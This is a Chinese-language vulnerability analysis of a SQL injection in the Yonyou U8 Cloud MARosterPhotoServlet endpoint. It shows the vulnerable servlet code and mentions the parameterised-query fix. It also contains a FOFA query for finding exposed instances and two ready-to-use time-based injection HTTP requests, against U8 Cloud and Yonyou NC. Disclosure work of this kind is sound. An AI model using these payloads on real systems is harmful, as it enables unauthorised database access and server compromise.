漏洞简介
用友U8 Cloud MARosterPhotoServlet 接口处存在SQL注入漏洞,未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。
影响版本
1.0,2.0,2.1,2.3,2.5,2.6,2.65,2.7,3.0,3.1,3.2,3.5,3.6,3.6sp,5.0,5.0sp
fofa语法
app="用友-U8-Cloud"
漏洞分析
本来是根据官方漏洞通告可知SQL注入点在 MARosterPhotoServlet 接口

直接看 MARosterPhotoServlet 的实现
package com.yonyou.ma.roster.servlet;
import com.yonyou.ma.roster.module.RosterPhoto;
import java.io.IOException;
import java.io.UnsupportedEncodingException;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import nc.bcmanage.bs.IBusiCenterManageService;
import nc.bcmanage.vo.BusiCenterVO;
import nc.bs.dao.BaseDAO;
import nc.bs.framework.adaptor.IHttpServletAdaptor;
import nc.bs.framework.common.InvocationInfoProxy;
import nc.bs.framework.common.NCLocator;
import nc.bs.framework.comn.NetStreamContext;
import nc.bs.framework.server.ISecurityTokenCallback;
import nc.bs.logging.Logger;
import nc.bs.uap.lock.PKLock;
import nc.jdbc.framework.processor.BeanProcessor;
import nc.jdbc.framework.processor.ResultSetProcessor;
import nc.login.bs.LoginVerifyBean;
import nc.vo.pub.BusinessException;
public class MARosterPhotoServlet
extends HttpServlet
implements IHttpServletAdaptor {
private static final long serialVersionUID = 1L;
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doAction(req, resp);
}
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doAction(req, resp);
}
public void doAction(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String photoId = request.getHeader("photoId");
String type = request.getHeader("type");
if (photoId != null) {
try {
String accountcode = request.getHeader("accountcode");
if (accountcode != null && !accountcode.trim().equals("")) {
IBusiCenterManageService bcservice = (IBusiCenterManageService)NCLocator.getInstance().lookup(IBusiCenterManageService.class);
BusiCenterVO centervo = bcservice.getBusiCenterByCode(accountcode);
InvocationInfoProxy.getInstance().setUserDataSource(centervo.getDataSourceName());
}
BaseDAO dao = new BaseDAO();
if (type.equals("pid")) {
String sql = "select bd_psndoc.photo, sm_user.cuserid userid from bd_psndoc left join sm_user on sm_user.pk_psndoc = bd_psndoc.pk_psndoc where bd_psndoc.pk_psndoc = '" + photoId + "'";
RosterPhoto rosterPhoto = (RosterPhoto)dao.executeQuery(sql, (ResultSetProcessor)new BeanProcessor(RosterPhoto.class));
if (rosterPhoto.getUserid() != null && !"".equals(rosterPhoto.getUserid().trim())) {
response.setHeader("uid", rosterPhoto.getUserid());
}
response.getOutputStream().write(rosterPhoto.getPhoto() == null ? "".getBytes() : rosterPhoto.getPhoto());
} else {
String getpidsql = "select t.photo photo, u.cuserid userid from sm_user u left join bd_psndoc t on t.pk_psndoc = u.pk_psndoc where u.cuserid = '" + photoId + "'";
RosterPhoto rosterPhoto = (RosterPhoto)dao.executeQuery(getpidsql, (ResultSetProcessor)new BeanProcessor(RosterPhoto.class));
if (rosterPhoto.getUserid() != null && !"".equals(rosterPhoto.getUserid().trim())) {
response.setHeader("uid", rosterPhoto.getUserid());
}
response.getOutputStream().write(rosterPhoto.getPhoto() == null ? "".getBytes() : rosterPhoto.getPhoto());
}
}
catch (Exception e) {
e.printStackTrace();
}
}
}
通过 header 获取 photoId 和 type ,当 photoId 不等于null时,进入处理逻辑,无论 type 是否等于 pid 都会将 photoId 直接拼接进SQL语句中执行,造成SQL注入漏洞。
调试也可以看到SQL语句传入直接拼接到SQL语句中,最终调用 (RosterPhoto)dao.executeQuery 执行拼接后的SQL语句,造成SQL注入漏洞。

根据补丁对比查看可知,修复方式是参数化+预编译处理来预防SQL注入漏洞。

漏洞复现
漏洞利用示例
GET /servlet/~uap/com.yonyou.ma.roster.servlet.MARosterPhotoServlet?pageId=login HTTP/1.0
Host: u8cloud.mrxn.net
accountcode: U8cloud
type: pid
photoId: 1';waitfor delay'0:0:4'-- Alks

成功延时 4 秒
这个漏洞其实还影响用友NC系列
GET /servlet/~pubapp/com.yonyou.ma.roster.servlet.MARosterPhotoServlet HTTP/1.0
Host: nc.mrxn.net
accountcode: U8cloud
type: pid
photoId: 1';waitfor delay'0:0:4'-- Alks
参考
https://security.yonyou.com/#/noticeInfo?id=398


